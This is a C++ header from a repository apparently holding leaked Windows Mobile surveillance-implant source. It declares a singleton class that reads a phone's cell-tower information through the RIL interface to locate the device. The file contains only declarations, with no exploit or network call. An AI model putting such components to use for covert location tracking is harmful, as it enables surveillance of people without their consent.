hackedteam/core-winmobile

#pragma once

#include "Common.h"
#include <cmath>
#include "ril.h"
#include "Device.h"

/**
 *    <<singleton>>
 *    Cell
 *        Retrieve Phone position via RIL/GSM
 **/
class Cell
{
    public:
        static Cell *self(DWORD dwTimeout);
        BOOL    RadioReady();

        BOOL    getCELL(RILCELLTOWERINFO *);

        void    Stop();
        BOOL    Start();

    protected:
        Cell();    // .ctor

        static Cell *_instance;    // Global self
        
        /**
        * Inizializza l'oggetto, torna FALSE se l'inizializzazione fallisce.
        * dwTimeout e' in millisecondi e rappresenta il tempo massimo di attesa 
        * per ottenere una posizione valida.
        **/
        BOOL    Initialize(DWORD dwTimeout);
        BOOL    RefreshData();    // Try to refresh data

    private: ~Cell();    // .dtor

    private:
        DWORD    _dwTimeout;            // constructor parameters

        HANDLE    _hMutex;            // mutex
        INT        _iReference;        // Reference counter

        HRIL    _hRil;

        RILCELLTOWERINFO _rilCellTowerInfo;
        
        DWORD    _dwLastCell;        // time of last CELL
        HRESULT _cellRequestID;        // cellRequestID
        HANDLE    _hCellEvent;        // hCellEvent

        BOOL    bInitialized;

        Device *deviceObj;

        static    BOOL _bRadioReady;    // Radio is READY
        static volatile LONG lLock;    // Il nostro mutex

    private:
        static void _RIL_Callback(DWORD dwCode, HRESULT hrCmdID, const void* lpData, DWORD cbData, DWORD dwParam);
        static void _RIL_Notify(DWORD dwCode, const void* lpData, DWORD cbData, DWORD dwParam);

        void RIL_Callback(DWORD dwCode, HRESULT hrCmdID, const void* lpData, DWORD cbData);
        void RIL_Notify(DWORD dwCode, const void* lpData, DWORD cbData);
};